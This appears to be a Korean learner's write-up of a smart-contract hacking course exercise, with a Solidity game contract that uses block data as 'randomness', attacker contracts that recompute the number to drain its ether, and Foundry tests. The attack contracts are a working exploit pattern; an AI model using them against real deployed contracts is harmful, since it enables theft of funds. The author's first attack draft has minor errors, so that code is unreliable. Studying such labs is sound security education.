// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
/**
* @title Game
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract Game {
constructor() payable {}
function play(uint guess) external {
uint number = uint(keccak256(abi.encodePacked(block.timestamp, block.number, block.difficulty)));
if(guess == number) {
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send ETH");
}
}
}
위 컨트랙트 자금을 탈취하면 된다. 숫자를 맞추면 이더를 받을 수 있다. 그런데 block.timestamp
, block.number
, block.difficulty
만 알면 숫자를 맞출 수 있다.
이제 공격 컨트랙트를 만들어보자.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
interface IGame{
function play(uint) external;
}
contract Attack {
address public owner;
address public game;
constructor(address _game){
owner = msg.sender;
game = _game;
}
function attack(uint256 number) public {
Game(game).play(number);
}
receive() external payable{
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "");
}
}
사실 특별한 건 없고 단지 game 컨트랙트를 가져와서 play()
함수를 호출하는 것 뿐이다.
모범답안
interface IGame {
function play(uint guess) external;
}
contract Attack {
IGame game;
address payable owner;
constructor(address _game) {
game = IGame(_game);
owner = payable(msg.sender);
}
function attack() external {
uint number = uint(keccak256(abi.encodePacked(block.timestamp, block.number, block.difficulty)));
game.play(number);
}
receive() external payable {
(bool sent, ) = owner.call{value: 10 ether}("");
require(sent, "Failed to send ETH");
}
}
대상 컨트랙트인 game
을 IGame
타입으로 선언 후 constructor에서 인터페이스를 씌우는 것이 훨씬 깔끔하다.
owner
변수에 payable만 써줘도 된다.
나는 나중에 테스트 코드에서 block.timestamp, block.number 등 필요한 정보를 컨트랙트 바깥에서 가져오려고 했는데 모범답안에서는 아예 안에 넣어버렸다. 사실 대상 컨트랙트가 디플로이 될 때 Attack 컨트랙트도 같이 디플로이 해버리면 number
는 같아져서 그런게 아닐까 싶다.
아래와 같이 테스트 코드를 작성해봤다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/randomness-vulnerabilities-1/Game.sol";
import "../../src/randomness-vulnerabilities-1/Attack.sol";
/**
@dev run "forge test --match-contract RV1"
*/
contract TestRV1 is Test {
uint256 public constant gamePot = 10 ether;
Game game;
Attack attack;
address deployer;
address attacker;
function setUp() public {
vm.prank(deployer);
game = new Game();
deal(address(game), gamePot);
vm.prank(attacker);
attack = new Attack(address(game));
}
function test_Attack() public {
vm.prank(attacker);
attack.attack();
}
}
모범답안은 아래와 같다.
contract TestRV1 is Test {
uint128 public constant GAME_POT = 10 ether;
Game game;
Attack attack;
address deployer;
address attacker;
function setUp() public {
deployer = address(1);
attacker = address(2);
vm.prank(deployer);
game = new Game();
vm.deal(address(game), GAME_POT);
vm.prank(attacker);
attack = new Attack(address(game));
uint256 inGame = address(game).balance;
assertEq(inGame, GAME_POT);
}
function test_Attack() public {
attack.attack();
assertEq(address(game).balance, 0);
assertEq(address(attacker).balance, GAME_POT);
}
deployer = address(1);
attacker = address(2);
//잘못된 예
deal(address(game), gamePot);
//올바른 예
vm.deal(address(game), GAME_POT);
//아래부분이 빠졌다.
uint256 inGame = address(game).balance;
assertEq(inGame, GAME_POT);
//아래부분이 빠졌다.
assertEq(address(game).balance, 0);
assertEq(address(attacker).balance, GAME_POT);